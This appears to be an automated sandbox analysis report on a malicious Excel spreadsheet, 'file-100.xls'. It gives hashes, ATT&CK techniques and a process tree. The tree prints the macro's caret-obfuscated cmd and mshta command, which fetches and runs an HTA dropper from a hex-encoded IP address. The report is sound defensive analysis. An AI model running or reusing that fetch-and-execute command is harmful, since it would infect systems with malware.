7711d6fb56bb07b0db1056116eebfe905174f3772177006c61a7d2ecb1768311

Analysis

max time kernel
172s
max time network
169s
platform
windows10_x64
resource
win10-en-20211208
submitted
28-01-2022 01:47

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General

Target

file-100.xls
Size

64KB
MD5

7ff17f9111a583c624479c18508fd0c8
SHA1

b81e0145050fc9665c4107003440a1b74ecb547b
SHA256

3b413feb63b3885f0e8177941b37354b0e45e1f18b5e57010a771e475d7de0f2
SHA512

6c4ae66133f59ddd7de4a17723906eeebfaee0aae6b0365f02e94d2e9d249e6741c0aaf5ebea7a60a6ed2d8e00e5adb413ece71492a1bf339f65e8e920b34470

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3180	4236	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

49 2856 mshta.exe

flow	pid	process
49	2856	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4236 EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
4236	EXCEL.EXE
4236	EXCEL.EXE
4236	EXCEL.EXE
4236	EXCEL.EXE
4236	EXCEL.EXE
4236	EXCEL.EXE
4236	EXCEL.EXE
4236	EXCEL.EXE
4236	EXCEL.EXE
4236	EXCEL.EXE
4236	EXCEL.EXE
4236	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 4236 wrote to memory of 3180	4236	EXCEL.EXE	cmd.exe
PID 4236 wrote to memory of 3180	4236	EXCEL.EXE	cmd.exe
PID 3180 wrote to memory of 2856	3180	cmd.exe	mshta.exe
PID 3180 wrote to memory of 2856	3180	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file-100.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4236

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3180

C:\Windows\system32\mshta.exe
mshta http://0xc12a24f5/cc.html
3⤵
- Blocklisted process makes network request
PID:2856

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/4236-118-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

Filesize
64KB

Download
memory/4236-119-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

Filesize
64KB

Download
memory/4236-120-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

Filesize
64KB

Download
memory/4236-121-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

Filesize
64KB

Download
memory/4236-124-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

Filesize
64KB

Download
memory/4236-131-0x00007FFA704F0000-0x00007FFA70500000-memory.dmp

Filesize
64KB

Download
memory/4236-132-0x00007FFA704F0000-0x00007FFA70500000-memory.dmp

Filesize
64KB

Download